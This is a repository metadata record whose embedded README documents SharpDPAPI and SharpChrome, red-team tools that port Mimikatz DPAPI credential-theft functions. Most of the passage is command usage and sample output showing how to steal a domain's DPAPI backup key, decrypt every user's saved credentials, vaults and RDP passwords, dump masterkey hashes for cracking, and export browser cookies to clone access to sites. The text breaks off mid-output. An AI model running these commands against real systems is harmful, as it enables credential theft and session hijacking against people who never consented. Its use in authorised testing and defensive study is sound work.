{"id":13638316,"url":"https://github.com/GhostPack/SharpDPAPI","last_synced_at":"2025-04-19T17:33:34.580Z","repository":{"id":39459812,"uuid":"145742418","full_name":"GhostPack/SharpDPAPI","owner":"GhostPack","description":"SharpDPAPI is a C# port of some Mimikatz DPAPI functionality.","archived":false,"fork":false,"pushed_at":"2024-06-27T13:39:08.000Z","size":1603,"stargazers_count":1228,"open_issues_count":10,"forks_count":215,"subscribers_count":33,"default_branch":"master","last_synced_at":"2025-04-08T01:38:51.507Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/GhostPack.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-08-22T17:39:31.000Z","updated_at":"2025-04-04T03:07:59.000Z","dependencies_parsed_at":"2024-09-21T04:01:26.205Z","dependency_job_id":null,"html_url":"https://github.com/GhostPack/SharpDPAPI","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDPAPI","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDPAPI/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDPAPI/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/GhostPack%2FSharpDPAPI/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/GhostPack","download_url":"https://codeload.github.com/GhostPack/SharpDPAPI/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249750184,"owners_count":21320089,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-02T01:00:43.991Z","updated_at":"2025-04-19T17:33:34.023Z","avatar_url":"https://github.com/GhostPack.png","language":"C#","funding_links":[],"categories":["C# #"],"sub_categories":[],"readme":"# SharpDPAPI\r\n\r\n----\r\n\r\n[SharpDPAPI](#sharpdpapi-1) is a C# port of some DPAPI functionality from [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project.\r\n\r\n**I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow.**\r\n\r\nThe [SharpChrome](#sharpchrome) subproject is an adaptation of work from [@gentilkiwi](https://twitter.com/gentilkiwi) and [@djhohnstein](https://twitter.com/djhohnstein), specifically his [SharpChrome project](https://github.com/djhohnstein/SharpChrome/). However, this version of SharpChrome uses a different version of the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) that supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199). SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.\r\n\r\nBoth Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome.\r\n\r\nSharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License.\r\n\r\nIf you're unfamiliar with DPAPI, [check out this post](https://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials)\r\n\r\n[@harmj0y](https://twitter.com/harmj0y) is the primary author of this port.\r\n\r\nSharpDPAPI is licensed under the BSD 3-Clause license.\r\n\r\n\r\n## Table of Contents\r\n\r\n- [SharpDPAPI](#sharpdpapi)\r\n  - [Table of Contents](#table-of-contents)\r\n  - [Background](#background)\r\n      - [SharpDPAPI Command Line Usage](#sharpdpapi-command-line-usage)\r\n      - [SharpChrome Command Line Usage](#sharpchrome-command-line-usage)\r\n    - [Operational Usage](#operational-usage)\r\n      - [SharpDPAPI](#sharpdpapi-1)\r\n      - [SharpChrome](#sharpchrome)\r\n  - [SharpDPAPI Commands](#sharpdpapi-commands)\r\n    - [User Triage](#user-triage)\r\n      - [masterkeys](#masterkeys)\r\n      - [credentials](#credentials)\r\n      - [vaults](#vaults)\r\n      - [rdg](#rdg)\r\n      - [keepass](#keepass)\r\n      - [certificates](#certificates)\r\n      - [triage](#triage)\r\n    - [Machine Triage](#machine-triage)\r\n      - [machinemasterkeys](#machinemasterkeys)\r\n      - [machinecredentials](#machinecredentials)\r\n      - [machinevaults](#machinevaults)\r\n      - [certificates /machine](#certificates-machine)\r\n      - [machinetriage](#machinetriage)\r\n    - [Misc](#misc)\r\n      - [ps](#ps)\r\n      - [blob](#blob)\r\n      - [backupkey](#backupkey)\r\n      - [search](#search)\r\n      - [SCCM](#sccm)\r\n  - [SharpChrome Commands](#sharpchrome-commands)\r\n    - [logins](#logins)\r\n    - [cookies](#cookies)\r\n    - [statekeys](#statekeys)\r\n    - [backupkey](#backupkey-1)\r\n  - [Compile Instructions](#compile-instructions)\r\n    - [Targeting other .NET versions](#targeting-other-net-versions)\r\n    - [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell)\r\n      - [Sidenote Sidenote: Running SharpDPAPI Over PSRemoting](#sidenote-sidenote-running-sharpdpapi-over-psremoting)\r\n\r\n\r\n## Background\r\n\r\n#### SharpDPAPI Command Line Usage\r\n\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.20.0\r\n\r\n    Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:\r\n\r\n      SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]\r\n\r\n\r\n    The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:\r\n\r\n        search /type:registry [/path:HKLM\\path\\to\\key] [/showErrors]\r\n        search /type:folder /path:C:\\path\\to\\folder [/maxBytes:\u003cnumOfBytes\u003e] [/showErrors]\r\n        search /type:file /path:C:\\path\\to\\file [/maxBytes:\u003cnumOfBytes\u003e]\r\n        search /type:base64 [/base:\u003cbase64 string\u003e]\r\n\r\n\r\n    Machine/SYSTEM Triage:\r\n\r\n        machinemasterkeys       -   triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)\r\n        machinecredentials      -   use 'machinemasterkeys' and then triage machine Credential files\r\n        machinevaults           -   use 'machinemasterkeys' and then triage machine Vaults\r\n        machinetriage           -   run the 'machinecredentials' and 'machinevaults' commands\r\n\r\n\r\n    User Triage:\r\n\r\n        Arguments for the 'masterkeys' command:\r\n\r\n            /target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)\r\n            /pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys\r\n            /pvk:key.pvk            -   use a DPAPI domain private key file to first decrypt reachable user masterkeys\r\n            /password:X             -   decrypt the target user's masterkeys using a plaintext password (works remotely)\r\n            /ntlm:X                 -   decrypt the target user's masterkeys using a NTLM hash (works remotely)\r\n            /credkey:X              -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)\r\n            /rpc                    -   decrypt the target user's masterkeys by asking domain controller to do so\r\n            /server:SERVER          -   triage a remote server, assuming admin access\r\n            /hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)\r\n\r\n\r\n        Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands:\r\n\r\n            Decryption:\r\n                /unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands\r\n                /pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys\r\n                /pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys\r\n                /password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)\r\n                /ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)\r\n                /credkey:X          -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)\r\n                /rpc                -   decrypt the target user's masterkeys by asking domain controller to do so\r\n                GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption\r\n                /mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption\r\n\r\n            Targeting:\r\n                /target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder\r\n                /server:SERVER      -   triage a remote server, assuming admin access\r\n                                        Note: must use with /pvk:KEY or /password:X\r\n                                        Note: not applicable to 'blob' or 'ps' commands\r\n\r\n\r\n    Certificate Triage:\r\n\r\n        Arguments for the 'certificates' command:\r\n            /showall                                        -   show all decrypted private key files, not just ones that are linked to installed certs (the default)\r\n            /machine                                        -   use the local machine store for certificate triage\r\n            /mkfile | /target                               -   for /machine triage\r\n            [all decryption args from User Triage above]\r\n\r\n\r\n    Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.\r\n          These functions wrap all the other applicable functions that can be automatically run.\r\n\r\n\r\n#### SharpChrome Command Line Usage\r\n\r\n      __                 _\r\n     (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _\r\n     __) | | (_| |  |_) \\_ | | | (_) | | | (/_\r\n                    |\r\n      v1.9.0\r\n\r\n\r\n    Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:\r\n\r\n      SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]\r\n\r\n\r\n    Global arguments for the 'cookies', 'logins', and 'statekeys' commands:\r\n\r\n        Decryption:\r\n            /unprotect          -   force use of CryptUnprotectData() (default for unprivileged execution)\r\n            /pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys\r\n            /pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys\r\n            /password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)\r\n            /ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)\r\n            /prekey:X           -   decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely)\r\n            /rpc                -   decrypt the target user's masterkeys by asking domain controller to do so\r\n            GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption\r\n            /statekey:X         -   a decrypted AES state key (from the 'statekey' command)\r\n\r\n        Targeting:\r\n            /target:FILE        -   triage a specific 'Cookies', 'Login Data', or 'Local State' file location\r\n            /target:C:\\Users\\X\\ -   triage a specific user folder for any specified command\r\n            /server:SERVER      -   triage a remote server, assuming admin access (note: must use with /pvk:KEY)\r\n            /browser:X          -   triage 'chrome' (default), (chromium-based) 'edge', or 'slack'\r\n\r\n        Output:\r\n            /format:X           -   either 'csv' (default) or 'table' display\r\n            /showall            -   show Login Data entries with null passwords and expired Cookies instead of filtering (default)\r\n            /consoleoutfile:X   -   output all console output to a file on disk\r\n\r\n\r\n    'cookies' command specific arguments:\r\n\r\n            /cookie:\"REGEX\"     -   only return cookies where the cookie name matches the supplied regex\r\n            /url:\"REGEX\"        -   only return cookies where the cookie URL matches the supplied regex\r\n            /format:json        -   output cookie values in an EditThisCookie JSON import format. Best when used with a regex!\r\n            /setneverexpire     -   set expirations for cookies output to now + 100 years (for json output)\r\n\r\n\r\n### Operational Usage\r\n\r\n#### SharpDPAPI\r\n\r\nOne of the goals with SharpDPAPI is to operationalize Benjamin's DPAPI work in a way that fits with our workflow.\r\n\r\nHow exactly you use the toolset will depend on what phase of an engagement you're in. In general this breaks into \"have I compromised the domain or not\".\r\n\r\nIf domain admin (or equivalent) privileges have been obtained, the domain DPAPI backup key can be retrieved with the [backupkey](#backupkey) command (or with Mimikatz). This domain private key never changes, and can decrypt any DPAPI masterkeys for domain users. This means, given a domain DPAPI backup key, an attacker can decrypt masterkeys for any domain user that can then be used to decrypt any Vault/Credentials/Chrome Logins/other DPAPI blobs/etc. The key retrieved from the [backupkey](#backupkey) command can be used with the [masterkeys](#masterkeys), [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), or [triage](#triage) commands.\r\n\r\nIf DA privileges have not been achieved, using Mimikatz' `sekurlsa::dpapi` command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running `dpapi::cache` after key extraction will give you a nice table). If you change these keys to a `{GUID1}:SHA1 {GUID2}:SHA1...` type format, they can be supplied to the [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), or [triage](#triage) commands. This lets you triage all Credential files/Vaults on a system for any user who's currently logged in, without having to do file-by-file decrypts.\r\n\r\nAlternatively, if you can supply a target user's password, NTLM hash, or DPAPI prekey for user-command with  `/password:X`, `/ntlm:X`, or `/prekey:X` respectively. The `dpapi` field of Mimikatz' `sekurlsa::msv` output for domain users can be used as the `/prekey`, while the `sha1` field of `sekurlsa::msv` output can be used as the `/prekey` for local users.\r\n\r\nFor decrypting RDG/RDCMan.settings files with the [rdg](#rdg) command, the `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).\r\n\r\nFor machine-specific DPAPI triage, the `machinemasterkeys|machinecredentials|machinevaults|machinetriage` commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the \"DPAPI_SYSTEM\" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc.\r\n\r\nFor more offensive DPAPI information, [check here](https://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/).\r\n\r\n#### SharpChrome\r\n\r\nSharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cookies** and **logins** decryption/triage. It is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.\r\n\r\nSince Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, `/ntlm:X`, `/prekey:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location.\r\n\r\nAlternatively, if you can supply a target user's password, NTLM hash, or DPAPI prekey for user-command with  `/password:X`, `/ntlm:X`, or `/prekey:X` respectively. The `dpapi` field of Mimikatz' `sekurlsa::msv` output for domain users can be used as the `/prekey`, while the `sha1` field of `sekurlsa::msv` output can be used as the `/prekey` for local users.\r\n\r\nIf Chrome is version 80+, an AES state key is stored in *AppData\\Local\\Google\\Chrome\\User Data\\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` or `/browser:brave` is specified, for newer Chromium-based Edge browser triage.\r\n\r\nBy default, cookies and logins are displayed as a csv - this can be changed with `/format:table` for table output, and `/format:json` for cookies specifically. The json option outputs cookies in a json format that can be imported into the [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) Chrome extension for easy reuse.\r\n\r\nThe **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites.\r\n\r\nSpecific cookies/logins/statekey files can be specified with `/target:X`, and a user folder can be specified with `/target:C:\\Users\\USER\\` for any triage command.\r\n\r\n\r\n## SharpDPAPI Commands\r\n\r\n### User Triage\r\n\r\n#### masterkeys\r\n\r\nThe **masterkeys** command will search for any readable user masterkey files and decrypt them using a supplied domain DPAPI backup key. It will return a set of masterkey {GUID}:SHA1 mappings.\r\n\r\n`/password:X` can be used to decrypt a user's current masterkeys. Note that for domain-joined machines, the password can be supplied in either plaintext or NTLM format. If `/target` is also supplied with `/password`, the `/sid:X` full domain SID of the user also needs to be specified.\r\n\r\nThe domain backup key can be in base64 form (`/pvk:BASE64...`) or file form (`/pvk:key.pvk`).\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe masterkeys /pvk:key.pvk\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: Triage User Masterkey Files\r\n\r\n    [*] Found MasterKey : C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1473254003-2681465353-4059813368-1000\\28678d89-678a-404f-a197-f4186315c4fa\r\n    [*] Found MasterKey : C:\\Users\\harmj0y\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-883232822-274137685-4173207997-1111\\3858b304-37e5-48aa-afa2-87aced61921a\r\n    ...(snip)...\r\n\r\n    [*] User master key cache:\r\n\r\n    {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...\r\n    ...(snip)...\r\n\r\n\r\nIf no `/pasword` or `/pvk` is specified, you may pass the `/hashes` flag to dump the master key hashes in John/Hashcat format. In this mode, the hashes are printed in the format of `{GUID}:DPAPImk`.\r\n\r\nThe `Preferred` key is also parsed in order to highlight the current preferred master key, so that effort is not spent cracking older keys.\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe masterkeys /hashes\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.11.3\r\n\r\n\r\n    [*] Action: User DPAPI Masterkey File Triage\r\n\r\n    [*] Will dump user masterkey hashes\r\n\r\n    [*] Found MasterKey : C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1473254003-2681465353-4059813368-1000\\28678d89-678a-404f-a197-f4186315c4fa\r\n    [*] Found MasterKey : C:\\Users\\harmj0y\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-883232822-274137685-4173207997-1111\\3858b304-37e5-48aa-afa2-87aced61921a\r\n    ...(snip)...\r\n\r\n    [*] Preferred master keys:\r\n\r\n    C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1473254003-2681465353-4059813368-1000\\28678d89-678a-404f-a197-f4186315c4fa\r\n    C:\\Users\\harmj0y\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-883232822-274137685-4173207997-1111\\3858b304-37e5-48aa-afa2-87aced61921a\r\n\r\n\r\n    [*] User master key hashes:\r\n\r\n    {42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...\r\n\r\n\r\n#### credentials\r\n\r\nThe **credentials** command will search for Credential files and either a) decrypt them with any \"{GUID}:SHA1\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nA specific credential file (or folder of credentials) can be specified with `/target:FILE` or `/target:C:\\Folder\\`. If a file is specified, {GUID}:SHA1 values are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.\r\n\r\nIf run from an elevated context, Credential files for ALL users will be triaged, otherwise only Credential files for the current user will be processed.\r\n\r\nUsing domain {GUID}:SHA1 masterkey mappings:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: User DPAPI Credential Triage\r\n\r\n    [*] Triaging Credentials for ALL users\r\n\r\n\r\n    Folder       : C:\\Users\\harmj0y\\AppData\\Local\\Microsoft\\Credentials\\\r\n\r\n      CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB\r\n\r\n        guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}\r\n        size             : 436\r\n        flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)\r\n        algHash/algCrypt : 32772/26115\r\n        description      : Local Credential Data\r\n\r\n        LastWritten      : 1/22/2019 2:44:40 AM\r\n        TargetName       : Domain:target=TERMSRV/10.4.10.101\r\n        TargetAlias      :\r\n        Comment          :\r\n        UserName         : DOMAIN\\user\r\n        Credential       : Password!\r\n\r\n      ...(snip)...\r\n\r\n\r\nUsing a domain DPAPI backup key to first decrypt any discoverable masterkeys:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: User DPAPI Credential Triage\r\n\r\n    [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n\r\n    [*] User master key cache:\r\n\r\n    {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665\r\n    ...(snip)...\r\n\r\n    [*] Triaging Credentials for ALL users\r\n\r\n\r\n    Folder       : C:\\Users\\harmj0y\\AppData\\Local\\Microsoft\\Credentials\\\r\n\r\n      CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB\r\n\r\n        guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}\r\n        size             : 436\r\n        flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)\r\n        algHash/algCrypt : 32772/26115\r\n        description      : Local Credential Data\r\n\r\n        LastWritten      : 1/22/2019 2:44:40 AM\r\n        TargetName       : Domain:target=TERMSRV/10.4.10.101\r\n        TargetAlias      :\r\n        Comment          :\r\n        UserName         : DOMAIN\\user\r\n        Credential       : Password!\r\n\r\n    ...(snip)...\r\n\r\n\r\n\r\n#### vaults\r\n\r\nThe **vaults** command will search for Vaults and either a) decrypt them with any \"{GUID}:SHA1\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nThe Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files.\r\n\r\nA specific vault folder can be specified with `/target:C:\\Folder\\`. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.\r\n\r\nUsing domain {GUID}:SHA1 masterkey mappings:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: User DPAPI Vault Triage\r\n\r\n    [*] Triaging Vaults for ALL users\r\n\r\n\r\n    [*] Triaging Vault folder: C:\\Users\\harmj0y\\AppData\\Local\\Microsoft\\Vault\\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\r\n\r\n      VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28\r\n      Name               : Web Credentials\r\n        guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}\r\n        size             : 240\r\n        flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)\r\n        algHash/algCrypt : 32772/26115\r\n        description      :\r\n        aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8\r\n        aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793\r\n\r\n        LastWritten      : 10/12/2018 12:10:42 PM\r\n        FriendlyName     : Internet Explorer\r\n        Identity         : admin\r\n        Resource         : https://10.0.0.1/\r\n        Authenticator    : Password!\r\n\r\n    ...(snip)...\r\n\r\n\r\nUsing a domain DPAPI backup key to first decrypt any discoverable masterkeys:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: DPAPI Vault Triage\r\n\r\n    [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n\r\n    [*] User master key cache:\r\n\r\n    {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665\r\n    ...(snip)...\r\n\r\n    [*] Triaging Vaults for ALL users\r\n\r\n\r\n    [*] Triaging Vault folder: C:\\Users\\harmj0y\\AppData\\Local\\Microsoft\\Vault\\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\r\n\r\n      VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28\r\n      Name               : Web Credentials\r\n        guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}\r\n        size             : 240\r\n        flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)\r\n        algHash/algCrypt : 32772/26115\r\n        description      :\r\n        aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8\r\n        aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793\r\n\r\n        LastWritten      : 10/12/2018 12:10:42 PM\r\n        FriendlyName     : Internet Explorer\r\n        Identity         : admin\r\n        Resource         : https://10.0.0.1/\r\n        Authenticator    : Password!\r\n\r\n    ...(snip)...\r\n\r\n\r\nUsing a domain DPAPI backup key with a folder specified (i.e. \"offline\" triage):\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe vaults /target:C:\\Temp\\test\\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: User DPAPI Vault Triage\r\n\r\n    [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n\r\n    [*] User master key cache:\r\n\r\n    {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665\r\n    ...(snip)...\r\n\r\n    [*] Target Vault Folder: C:\\Temp\\test\\\r\n\r\n\r\n    [*] Triaging Vault folder: C:\\Temp\\test\\\r\n\r\n      VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28\r\n      Name               : Web Credentials\r\n        guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}\r\n        size             : 240\r\n        flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)\r\n        algHash/algCrypt : 32772/26115\r\n        description      :\r\n        aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8\r\n        aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793\r\n\r\n        LastWritten      : 3/20/2019 6:03:50 AM\r\n        FriendlyName     : Internet 